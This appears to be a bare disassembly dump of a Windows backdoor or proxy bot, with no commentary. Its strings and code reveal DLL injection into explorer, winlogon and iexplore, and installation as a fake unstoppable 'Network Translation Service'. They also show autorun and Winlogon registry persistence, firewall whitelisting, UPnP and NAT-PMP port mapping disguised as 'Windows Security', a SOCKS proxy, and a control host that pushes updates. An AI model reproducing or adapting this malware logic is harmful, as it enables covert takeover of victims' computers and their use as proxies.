		mov	esp, ebp
		pop	ebp
		retn
sub_44E131	endp


; =============== S U B	R O U T	I N E =======================================



sub_44E161	proc near		; CODE XREF: sub_44DBD1+77p
					; sub_44DBD1+E7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		movzx	eax, byte ptr [edx+eax+4]
		mov	esi, eax
		and	esi, 80h
		cmp	[esp+8+arg_4], 8000h
		jnz	short loc_44E1B7
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		movzx	edx, byte ptr [eax]
		and	edx, 0FFFFFF7Fh
		mov	[eax], dl
		jmp	short loc_44E1EE
; ---------------------------------------------------------------------------


loc_44E1B7:				; CODE XREF: sub_44E161+2Fj
		cmp	[esp+8+arg_4], 4000h
		jnz	short loc_44E1DE
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	eax, [edx+eax+4]
		or	byte ptr [eax],	80h
		jmp	short loc_44E1EE
; ---------------------------------------------------------------------------


loc_44E1DE:				; CODE XREF: sub_44E161+5Ej
		call	sub_449321
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E201
; ---------------------------------------------------------------------------


loc_44E1EE:				; CODE XREF: sub_44E161+54j
					; sub_44E161+7Bj
		test	esi, esi
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 4000h
		add	eax, 4000h


loc_44E201:				; CODE XREF: sub_44E161+8Bj
		pop	esi
		pop	ebx
		retn
sub_44E161	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	ebx, [esp+0Ch]
		cmp	ebx, dword_413A88
		jnb	short loc_44E23A
		mov	eax, ebx
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ebx
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		test	byte ptr [edx+eax+4], 1
		jnz	short loc_44E24A


loc_44E23A:				; CODE XREF: DMN1:0044E21Dj
		call	sub_449321
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_44E26A
; ---------------------------------------------------------------------------


loc_44E24A:				; CODE XREF: DMN1:0044E238j
		push	ebx
		call	sub_44BC01
		pop	ecx
		mov	eax, [esp+10h]
		push	eax
		push	ebx
		call	sub_44E161
		add	esp, 8
		mov	esi, eax
		push	ebx
		call	sub_44BC61
		pop	ecx
		mov	eax, esi


loc_44E26A:				; CODE XREF: DMN1:0044E248j
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_44E271	proc near		; CODE XREF: sub_44DD81+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [esp+4+arg_4]
		mov	bl, al
		xor	edx, edx


loc_44E27E:				; CODE XREF: sub_44E271+19j
		cmp	[ecx], bl
		jnz	short loc_44E284
		mov	edx, ecx


loc_44E284:				; CODE XREF: sub_44E271+Fj
		cmp	byte ptr [ecx],	0
		jz	short loc_44E28C
		inc	ecx
		jmp	short loc_44E27E
; ---------------------------------------------------------------------------


loc_44E28C:				; CODE XREF: sub_44E271+16j
		mov	eax, edx
		pop	ebx
		retn
sub_44E271	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_44E291	proc near		; CODE XREF: sub_44DE71+5Cp
					; sub_44DF11+5Bp

arg_0		= dword	ptr  4

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ax, [ecx+6]
		mov	di, ax
		and	di, 8000h
		mov	bx, 1
		mov	ax, [ecx+6]
		and	ax, 0Fh
		mov	[ecx+6], ax
		test	ax, ax
		jnz	short loc_44E2D0
		cmp	word ptr [ecx+4], 0
		jnz	short loc_44E2D0
		cmp	word ptr [ecx+2], 0
		jnz	short loc_44E2D0
		cmp	word ptr [ecx],	0
		jz	loc_44E38A


loc_44E2D0:				; CODE XREF: sub_44E291+25j
					; sub_44E291+2Cj ...
		jmp	short loc_44E2F2
; ---------------------------------------------------------------------------


loc_44E2D2:				; CODE XREF: sub_44E291+66j
		mov	ax, [ecx+4]
		mov	[ecx+6], ax
		mov	ax, [ecx+2]
		mov	[ecx+4], ax
		mov	ax, [ecx]
		mov	[ecx+2], ax
		mov	word ptr [ecx],	0
		sub	bx, 10h


loc_44E2F2:				; CODE XREF: sub_44E291:loc_44E2D0j
		cmp	word ptr [ecx+6], 0
		jz	short loc_44E2D2
		jmp	short loc_44E338
; ---------------------------------------------------------------------------


loc_44E2FB:				; CODE XREF: sub_44E291+ACj
		movzx	eax, word ptr [ecx+6]
		add	eax, eax
		movzx	edx, word ptr [ecx+4]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+6], ax
		movzx	eax, word ptr [ecx+4]
		add	eax, eax
		movzx	edx, word ptr [ecx+2]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		movzx	eax, word ptr [ecx+2]
		add	eax, eax
		movzx	edx, word ptr [ecx]
		sar	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		shl	word ptr [ecx],	1
		dec	bx


loc_44E338:				; CODE XREF: sub_44E291+68j
		cmp	word ptr [ecx+6], 10h
		jb	short loc_44E2FB
		jmp	short loc_44E37E
; ---------------------------------------------------------------------------


loc_44E341:				; CODE XREF: sub_44E291+F2j
		movzx	eax, word ptr [ecx]
		sar	eax, 1
		movzx	edx, word ptr [ecx+2]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx], ax
		movzx	eax, word ptr [ecx+2]
		sar	eax, 1
		movzx	edx, word ptr [ecx+4]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+2], ax
		movzx	eax, word ptr [ecx+4]
		sar	eax, 1
		movzx	edx, word ptr [ecx+6]
		shl	edx, 0Fh
		or	eax, edx
		mov	[ecx+4], ax
		shr	word ptr [ecx+6], 1
		inc	bx


loc_44E37E:				; CODE XREF: sub_44E291+AEj
		cmp	word ptr [ecx+6], 20h
		jnb	short loc_44E341
		and	word ptr [ecx+6], 0Fh


loc_44E38A:				; CODE XREF: sub_44E291+39j
		or	[ecx+6], di
		movsx	eax, bx
		pop	edi
		pop	ebx
		retn
sub_44E291	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44E3A1	proc near		; CODE XREF: sub_449411+13p
		jmp	dword_411DAC
sub_44E3A1	endp

; ---------------------------------------------------------------------------
		align 4
		dd 76h dup(0)
		dd 6E6F6400h, 0A2E65h
aNotDaemonize_0	db 'not daemonized...',0Ah,0
aInitializing_0	db 'initializing service startup sequence...',0Ah,0
aServiceInsta_0	db 'service installed ok...',0Ah,0
aInstallingSe_1	db 'installing service...',0Ah,0
aRegisteredSe_2	db 'registered service is not running, unrest.',0Ah,0
aStartingServ_0	db 'starting service...',0Ah,0
aI_0		db '%i',0Ah,0
aInstallingSe_2	db 'installing service, res=',0
aRegisteredSe_3	db 'registered service is not running.',0Ah,0
aRegisteredSe_4	db 'registered service is here...',0Ah,0
aDonTRegister_0	db 'DON',27h,'T register it',0Ah,0
aRegisterItAn_0	db 'register it and restart',0Ah,0
aNoRegistered_0	db 'no registered service, ',0
aWaitingCompl_0	db '*** waiting complete...',0Ah,0
aWaiting____0	db '*** waiting...',0Ah,0
aRemovingS_0	db 'removing: <%s>',0Ah,0
aInitializing_1	db 'initializing winsock library...',0Ah,0
aCopyingFaile_0	db 'copying failed %%-(',0Ah,0
aCreateproces_0	db 'CreateProcess() failed %%-(',0Ah,0
aCmdlineS_0	db 'cmdline: <%s>',0Ah,0
aCopying____0	db 'copying...',0Ah,0
aNewSOldSSelf_0	db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0
aWaiting10Sec_0	db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0
aShutdownmute_0	db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0
aUpdate_1	db '*update',0
aInjectionthr_0	db 'InjectionThread complete',0Ah,0
aDllStopped___0	db 'DLL stopped...',0Ah,0
aDying_0	db 'dying',0Ah,0
aWaitingForDl_0	db 'waiting for <DLL dies> event...',0Ah,0
aExplorer_exe_0	db 'explorer.exe',0
aWinlogon_exe_0	db 'winlogon.exe',0
aIexplore_exe_0	db 'iexplore.exe',0
aOldDllFoundW_0	db 'old DLL found; waiting for <DLL dies> event...',0Ah,0
aTryingSWithS_0	db 'trying <%s> with <%s> failed',0Ah,0
aTryingSWithS_1	db 'trying <%s> with <%s>',0Ah,0
aDllInjected_0	db 'DLL injected!',0Ah,0
aThreadComple_0	db 'thread complete (%i).',0Ah,0
aThreadInject_0	db 'thread injected (%i).',0Ah,0
aProcessOpene_0	db 'process opened.',0Ah,0
aS_2		db '<%s>',0Ah,0
aWriteprocess_0	db 'WriteProcessMemory() ok',0Ah,0
aGetlasterror_1	db 'GetLastError',0
aExitthread_1	db 'ExitThread',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aKernel32_dll_0	db 'kernel32.dll',0
aVirtualalloc_0	db 'VirtualAllocEx() ok',0Ah,0
aSedebugprivi_0	db 'SeDebugPrivilege',0
aDllNotExtrac_0	db 'DLL not extracted.',0Ah,0
aDllOkS_0	db 'DLL ok: <%s>',0Ah,0
aTryingDllS_0	db 'trying DLL: <%s>',0Ah,0
aDllFoundS_0	db ' DLL found: <%s>',0Ah,0
aCheckingDllS_0	db 'checking DLL: <%s>',0Ah,0
a000_tmp_0	db '000.tmp',0
aNts__0		db 'nts_',0
aOldDllS_0	db 'old DLL: <%s>',0Ah,0
aR_0		db 'r',0
aFileSWritten_0	db 'file <%s> written, wsz=%i',0Ah,0
aFileSCreated_0	db 'file <%s> created',0Ah,0
aFileSNotCrea_0	db 'file <%s> NOT created',0Ah,0
aWb_1		db 'wb+',0
aResourceHere_0	db 'resource here, size: %i',0Ah,0
a8001_0		db '#8001',0
aDlltestliste_3	db 'DLLTestListenThread: done...',0Ah,0
aDlltestliste_4	db 'DLLTestListenThread: accepting...',0Ah,0
aDlltestliste_5	db 'DLLTestListenThread: listening...',0Ah,0
aDlltestliste_6	db 'DLLTestListenThread: binding...',0Ah,0
aDlltestthrea_0	db 'DLLTestThread: pulsing...',0Ah,0
		db '**',0
aServicefixer_0	db 'ServiceFixerThread started.',0Ah,0
		db '" ',0
aRegisterserv_1	db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
aSetservicest_3	db 'SetServiceStatus(): stopped',0Ah,0
aSetservicest_4	db 'SetServiceStatus(): running',0Ah,0
aSetservicest_5	db 'SetServiceStatus(): start pending',0Ah,0
aServicectrld_0	db 'ServiceCtrlDispatcher()',0Ah,0
aWaitingForSt_0	db 'WAITING FOR STOP EVENT!',0Ah,0
aEventCreaton_0	db 'EVENT CREATON ERROR: %i',0Ah,0
aEventCreated_0	db 'EVENT CREATED.',0Ah,0
aWritingToHkc_0	db 'writing to HKCU/autorun key...',0Ah,0
aSoftwareMicr_2	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
aWritingToHkl_0	db 'writing to HKLM/autorun key...',0Ah,0
		db '*',0
aLoad_0		db 'load',0
aSoftwareMicr_3	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
		db ',',0
aUserinit_0	db 'Userinit',0
aSoftwareMicr_4	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
aStartupprogr_0	db 'StartupPrograms',0
aSystemCurren_2	db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
aRegreadCanTR_0	db 'RegRead(): can',27h,'t read key %s',0Ah,0
aRegreadReadI_0	db 'RegRead(): read %i bytes from %s (%s)',0Ah,0
aRegreadOpene_0	db 'RegRead(): opened %s',0Ah,0
a6ea9b038C801_1	db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0
aDescription_0	db 'Description',0
aDisplayname_0	db 'DisplayName',0
aLocalsystem_0	db 'LocalSystem',0
aObjectname_0	db 'ObjectName',0
aErrorcontrol_0	db 'ErrorControl',0
aStart_0	db 'Start',0
aType_0		db 'Type',0
aImagepath_0	db 'ImagePath',0
aSystemCurren_3	db 'SYSTEM\CurrentControlSet\Services\',0
aProvidesHard_0	db 'Provides hardware-to-software binary network translation support '
		db 'for network protocols.  This service can not be stopped.',0
aServiceRegis_0	db 'service registered',0Ah,0
aNetworkTrans_0	db 'Network Translation Service',0
aStartingComm_0	db 'starting COMM thread...',0Ah,0
aNatpmpForwar_0	db 'NATPMP: forwarded to: %i',0Ah,0
aSocksPortI_0	db 'SOCKS port: %i',0Ah,0
aCanTBindList_0	db 'can',27h,'t bind listen socket!',0Ah,0
aListener____0	db 'listener...',0Ah,0
aConnectionCl_0	db 'connection closed.',0Ah,0
aDataExchange_0	db 'data exchange complete',0Ah,0
aTransferring_0	db 'transferring data...',0Ah,0
aConnectedToS_0	db 'connected to %s:%i',0Ah,0
aConnectionTo_0	db 'connection to %s:%i failed! %-( (%i)',0Ah,0
aConnectingTo_0	db 'connecting to %s:%i',0Ah,0
aSocksVIS_0	db 'socks v%i  [%s]',0Ah,0
aConnectionRe_0	db 'connection rejected (from [%s])',0Ah,0
aConnectionFr_0	db 'connection from [%s]',0Ah,0
a_win32__nts__0	db '_win32__nts_um__',0
aSystem_0	db 'SYSTEM',0
		db 0Dh,'                      ',0Dh,0
aISecondsLeft_0	db 0Dh,'%i seconds left   ',8,8,8,'.',0
aSrvWaitingIS_0	db 'Srv: waiting %i seconds...',0Ah,0
aSrvcommthrea_0	db 'SrvCommThread: done',0Ah,0
aSrvStartingUpd	db 'SRV: starting updater...',0Ah,0
aSrvUpgradeS	db 'SRV: UPGRADE <%s>',0Ah,0
aSrvIplist	db 'SRV: IPLIST',0Ah,0
aSrvBye		db 'SRV: BYE',0Ah,0
aSrvAckReject_1	db 'SRV: ACK rejected IPs failed',0Ah,0
aSrvAckReject_2	db 'SRV: ACK rejected IPs',0Ah,0
aSrvSendingRe_0	db 'SRV: sending rejected IPs failed',0Ah,0
aSrvSendingRe_1	db '* SRV: sending rejected IPs',0Ah,0
aSrvAckHandsh_0	db 'SRV: ACK handshacking failed',0Ah,0
aSrvAckHandsh_1	db 'SRV: ACK handshacking',0Ah,0
aSrvHandshaki_1	db 'SRV: handshaking failed.',0Ah,0
aSrvRip?I_0	db 'SRV: rip? %i',0Ah,0
aSrvHandshaki_2	db 'SRV: handshaking...',0Ah,0
aSrvConnectin_0	db 'SRV: connecting failed.',0Ah,0
aSrvConnectin_1	db 'SRV: connecting...',0Ah,0
aSrvSI_0	db 'SRV: [%s:%i]',0Ah,0
aMyPortI_0	db 'my port [%i]',0Ah,0
aDep_mvl0an7__0	db 'dep.mvl0an7.com',0
aAuthorizedIp_0	db 'authorized IP #%i [%s]',0Ah,0
aRunningSS____0	db 'running %s (%s)...',0Dh,0Ah,0
		db '" "',0
aUpdate_2	db '*update "',0
aMsssx_0	db 'msssx',0
aDownloadedTo_0	db 'downloaded to: <%s>',0Ah,0
aMsss_0		db 'msss',0
aUpdateUrlS_0	db 'UPDATE URL: <%s>',0Ah,0
aDownloadedSS_0	db 'downloaded [%s] --> %s',0Dh,0Ah,0
aDownloadedFa_0	db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0
aDownloadingS_0	db 'downloading [%s] --> %s',0Dh,0Ah,0
aFopenS____0	db 'fopen(%s)...',0Ah,0
aWb_2		db 'wb',0
aInternetopen_1	db 'InternetOpenUrl(): %i',0Ah,0
aInternetopen_2	db 'InternetOpen(): %i',0Ah,0
aMsdownloader_0	db 'msdownloader',0
		db ' ',0
aCWindowsNts__0	db 'C:\WINDOWS\nts.exe',0
		db '"',0
a_win32__nts__1	db '_win32__nts_sm__',0
a__win32__nts_0	db '__win32__nts_sdm__',0
aNatPmpReques_2	db 'NAT-PMP request #%i - port: [%i]',0Ah,0
aNatPmpFwdReq_0	db 'NAT-PMP fwd request #%i - ok',0Ah,0
aReceivingNat_1	db 'receiving NAT-PMP fwd request #%i...',0Ah,0
aSetsockoptNa_1	db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
aSendingNatPm_0	db 'sending NAT-PMP fwd request #%i...',0Ah,0
aRouterIpS_0	db 'router ip: [%s]',0Ah,0
aNatPmpReques_3	db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
aNatPmpReques_4	db 'NAT-PMP request #%i - ok',0Ah,0
aReceivingNat_2	db 'receiving NAT-PMP request #%i...',0Ah,0
aSetsockoptNa_2	db 'setsockopt NAT-PMP request #%i...',0Ah,0
aSendingNatPm_1	db 'sending NAT-PMP request #%i...',0Ah,0
aDefaultGatew_0	db 'default gateway: [%s]',0Ah,0
aIupnpDiscove_5	db 'IUPnP discovery request #%i: ok.',0Ah,0
aControlurl_0	db '<controlURL>',0
aService_1	db '</service>',0
aService_2	db '<service>',0
aUrnSchemasUp_0	db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscove_6	db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
aLocationS_0	db 'location: <%s>',0Ah,0
aIupnpDiscove_7	db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
aIupnpDiscove_8	db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
aLocation_0	db 'location',0
aIupnpDiscove_9	db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
aSchemasUpnpO_0	db 'schemas-upnp-org:service:WANIPConnection:1',0
aIupnpDiscov_10	db 'IUPnP discovery request #%i -- checking...',0Ah,0
aReceivingIup_0	db 'receiving IUPnP discovery request #%i...',0Ah,0
aSetsockoptIu_0	db 'setsockopt IUPnP discovery request #%i...',0Ah,0
aMSearchHttp1_0	db 'M-SEARCH * HTTP/1.1',0Dh,0Ah
		db 'Host: 239.255.255.250:1900',0Dh,0Ah
		db 'ST: upnp:rootdevice',0Dh,0Ah
		db 'Man: "ssdp:discover"',0Dh,0Ah
		db 'MX: 3',0Dh,0Ah
		db 0Dh,0Ah,0
aSendingIupnp_0	db 'sending IUPnP discovery request #%i...',0Ah,0
aXbind____0	db 'xbind...',0Ah,0
aShit_0		db 'shit!',0Ah,0
a239_255_255__0	db '239.255.255.250',0
aHttpAddmapRe_2	db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
aHttpAddmapRe_3	db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
aHttpAddmapRe_4	db 'HTTP AddMap request: [%s:%i]...',0Ah,0
aPostSHttp1_1_0	db 'POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aMPostSHttp1__0	db 'M-POST %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'CONTENT-LENGTH: %i',0Dh,0Ah
		db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
		db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
		db 'rtMapping"',0Dh,0Ah
		db 0Dh,0Ah,0
aSEnvelopeXml_0	db '<s:Envelope',0Dh,0Ah
		db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
		db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200_0		db '200',0
		db 0Ah,0
aHttpDiscover_1	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
aGetSHttp1_1H_0	db 'GET %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscover_2	db 'HTTP discovery request: [%s:%i]...',0Ah,0
aHttp_0		db 'http://',0
a__0		db '.',0
a6ea9b038C801_2	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aNts_0		db 'NTS',0
aEnabled_0	db ':*:Enabled:',0
aHandshakeBad_0	db 'Handshake: bad version (%i)',0Ah,0
aHandshakeBad_1	db 'Handshake: bad packed (%i)',0Ah,0
aHandshakeRec_0	db 'Handshake: recv() error',0Ah,0
aProtorecvDat_0	db 'protorecv(): data size: %i (of %i)',0Ah,0
aPktrecvPacke_0	db 'PktRecv(): packetId: 0x%03x',0Ah,0
aPktrecvInval_0	db 'PktRecv(): invalid signature (%i)',0Ah,0
aPktsendIIByt_0	db 'PktSend(%i): %i bytes',0Ah,0
aSIsS_0		db '%s is %s',0Ah,0
aWinsock2_xIn_0	db 'WinSock 2.x initialized.',0Ah,0
aWinsock1_1In_0	db 'WinSock 1.1 initialized.',0Ah,0
aA_0		db 'a',0
aPm_0		db 'PM',0
aAm_0		db 'AM',0
a02i02i02iIII_0	db '%02i/%02i/%02i %i:%i:%i%s',0
aS_3		db '%s',0
		dd 0FFFFFF00h, 0FFh, 40715A00h,	0FFFFFF00h, 0FFh, 40735B00h
		dd 0FFFFFF00h, 0FFh, 40745E00h,	0FFFFFF00h, 0FFh, 4075AD00h
		dd 0FFFFFF00h, 4078C8FFh, 4078E300h, 0FFFFFF00h, 0FFh
		dd 407A5D00h, 0FFFFFF00h, 407B85FFh, 407BA000h,	400000h
		dd 0FFFFFF00h, 0FFh, 4081FE00h,	40832C00h, 4082E200h, 2	dup(40831200h)
		dd 5 dup(4082E200h), 40831F00h,	4082E200h, 2 dup(4082F200h)
		dd 40836000h, 40831200h, 40833900h, 3 dup(40830200h), 4082E200h
		dd 40835300h, 3	dup(4082E200h),	4082F200h, 40831200h, 40838700h
		dd 4082F200h, 10h dup(40831200h), 4082E200h, 40831200h
		dd 10h dup(4082E200h), 4082F200h, 0Bh dup(4082E200h), 40831200h
		dd 4082E200h, 4082F200h, 40831200h, 40837A00h, 2 dup(4082E200h)
		dd 40836D00h, 4082E200h, 40833900h, 2 dup(40834600h), 40833900h
		dd 4082E200h, 40831200h, 40832C00h, 4 dup(4082E200h), 0Fh dup(40835300h)
		dd 3 dup(4082E200h), 4082F200h,	8 dup(4082E200h), 40831F00h
		dd 2D2B2000h, 3023h, 100h, 200h, 400h, 800h, 1000h, 0
		dd 6C6A6800h, 4C7A74h, 4E4F4300h, 244E49h, 4F4E4F43h, 245455h
		dd 0
		dd 0FFFFFF00h, 0FFh, 14h dup(0)
		dd 10001002h, 3	dup(10001000h),	30013000h, 30003000h, 10003000h
		dd 8 dup(10001000h), 40001000h,	7 dup(80008000h), 3008000h
		dd 4 dup(3000300h), 80000300h, 3 dup(80008000h), 3 dup(0A000A00h)
		dd 0Ah dup(8000800h), 3	dup(80008000h),	3 dup(6000600h)
		dd 0Ah dup(4000400h), 2	dup(80008000h),	1000h, 40h dup(0)
		dd 40A00700h, 3	dup(40A33700h),	4 dup(40A00700h), 40A33700h
		dd 409C8C00h, 409CFB00h, 3 dup(40A00700h), 40A33700h, 409CFB00h
		dd 4 dup(40A33700h), 40A0C900h,	409E9300h, 40A20100h, 2	dup(40A33700h)
		dd 40A25F00h, 40A33700h, 409E9300h, 2 dup(40A33700h), 409E9300h
		dd 756E2800h, 296C6Ch, 20202000h, 7 dup(20202020h), 30300020h
		dd 7 dup(30303030h), 3030h, 2 dup(0)
		dd 100h, 200h, 0
		dd 2E001E0h, 4E003E0h, 6E005E0h, 8E007E0h, 0AE009E0h, 0CE00BE0h
		dd 0EE00DE0h, 10E00FE0h, 12E011E0h, 14E013E0h, 16E015E0h
		dd 18E017E0h, 1AE019E0h, 1CE01BE0h, 1EE01DE0h, 20E01FE0h
		dd 22E021E0h, 24E023E0h, 26E025E0h, 28E027E0h, 2AE029E0h
		dd 2CE02BE0h, 2EE02DE0h, 30E02FE0h, 32E031E0h, 34E033E0h
		dd 36E035E0h, 38E037E0h, 3AE039E0h, 3CE03BE0h, 3EE03DE0h
		dd 40E03FE0h, 42E041E0h, 44E043E0h, 46E045E0h, 48E047E0h
		dd 4AE049E0h, 4CE04BE0h, 4EE04DE0h, 50E04FE0h, 52E051E0h
		dd 54E053E0h, 56E055E0h, 58E057E0h, 5AE059E0h, 5CE05BE0h
		dd 5EE05DE0h, 60E05FE0h, 62E061E0h, 64E063E0h, 66E065E0h
		dd 68E067E0h, 6AE069E0h, 6CE06BE0h, 6EE06DE0h, 70E06FE0h
		dd 72E071E0h, 74E073E0h, 76E075E0h, 78E077E0h, 7AE079E0h
		dd 7CE07BE0h, 7EE07DE0h, 80E07FE0h, 82E081E0h, 84E083E0h
		dd 86E085E0h, 88E087E0h, 8AE089E0h, 8CE08BE0h, 8EE08DE0h
		dd 90E08FE0h, 92E091E0h, 94E093E0h, 96E095E0h, 98E097E0h
		dd 9AE099E0h, 9CE09BE0h, 9EE09DE0h, 0A0E09FE0h,	0A2E0A1E0h
		dd 0A4E0A3E0h, 0A6E0A5E0h, 0A8E0A7E0h, 0AAE0A9E0h, 0ACE0ABE0h
		dd 0AEE0ADE0h, 0B0E0AFE0h, 0B2E0B1E0h, 0B4E0B3E0h, 0B6E0B5E0h
		dd 0B8E0B7E0h, 0BAE0B9E0h, 0BCE0BBE0h, 0BEE0BDE0h, 0C0E0BFE0h
		dd 0C2E0C1E0h, 0C4E0C3E0h, 0C6E0C5E0h, 0C8E0C7E0h, 0CAE0C9E0h
		dd 0CCE0CBE0h, 0CEE0CDE0h, 0D0E0CFE0h, 0D2E0D1E0h, 0D4E0D3E0h
		dd 0D6E0D5E0h, 0D8E0D7E0h, 0DAE0D9E0h, 0DCE0DBE0h, 0DEE0DDE0h
		dd 0E0E0DFE0h, 0E2E0E1E0h, 0E4E0E3E0h, 0E6E0E5E0h, 0E8E0E7E0h
		dd 0EAE0E9E0h, 0ECE0EBE0h, 0EEE0EDE0h, 0F0E0EFE0h, 0F2E0F1E0h
		dd 0F4E0F3E0h, 0F6E0F5E0h, 0F8E0F7E0h, 0FAE0F9E0h, 0FCE0FBE0h
		dd 0FEE0FDE0h, 0E0FFE0h, 6E002800h, 6C007500h, 29006C00h
		dd 0
		dd 32313000h, 36353433h, 61393837h, 65646362h, 31300066h
		dd 35343332h, 39383736h, 44434241h, 4645h, 0
		dd 24000000h, 40h, 59000000h, 40h, 0C3880000h, 40h, 97D78400h
		dd 0E0800041h, 41C37937h, 56E1743h, 93B8B5B5h, 3FF9F546h
		dd 384F03E9h, 301D324Dh, 827748F9h, 73BF3C5Ah, 154FDD7Fh
		dd 75h,	97D78400h, 41h,	0F0000000h, 3Fh, 0
		dd 32313000h, 36353433h, 41393837h, 45444342h, 31300046h
		dd 35343332h, 39383736h, 64636261h, 49006665h, 6900464Eh
		dd 4E00666Eh, 6E004E41h, 6E61h,	40BD4800h, 40BD6300h, 40BD3F00h
		dd 40BD6300h, 40BD2A00h, 40BD6300h, 40BD3600h, 2 dup(40BD6300h)
		dd 40BD5100h, 2D2D2000h, 72657420h, 616E696Dh, 676E6974h
		dd 6973000Ah, 6C616E67h, 74002320h, 696D7265h, 6974616Eh
		dd 72206E6Fh, 65757165h, 69007473h, 6C61766Eh, 73206469h
		dd 61726F74h, 61206567h, 73656363h, 6E690073h, 72726574h
		dd 69747075h, 69006E6Fh, 6C61766Eh, 65206469h, 75636578h
		dd 6C626174h, 6F632065h, 61006564h, 68746972h, 6974656Dh
		dd 72652063h, 726F72h, 726F6261h, 74h, 3 dup(0)
		dd 3000h, 2E0000h, 23h dup(0)
		dd 5B5B5A00h, 5B5B5B5Bh, 5B5B5Bh, 58h dup(0)
		dd 5000h, 0Dh dup(0)
		dd 800h, 1000h,	2000h, 4000h, 8000h, 10000h, 20000h, 40000h
		dd 2 dup(0)
		dd 93052000h, 19h, 2 dup(0)
		dd 41283C00h, 41282400h, 41280C00h, 4127F400h, 1Bh dup(0)
		dd 100h, 0
		dd 4112D400h, 4112D500h, 4 dup(4112D400h), 4112B400h, 0Ah dup(0)
		dd 80200h, 100h, 41132000h, 41132100h, 4 dup(41132000h)
		dd 41130000h, 0Ah dup(0)
